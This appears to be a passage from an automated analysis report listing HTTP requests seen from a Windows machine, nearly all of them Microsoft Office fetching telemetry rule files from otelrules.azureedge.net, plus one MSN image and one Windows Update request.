Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TXBfPSsBeSvvhKV&MD=pRK4hGWm HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
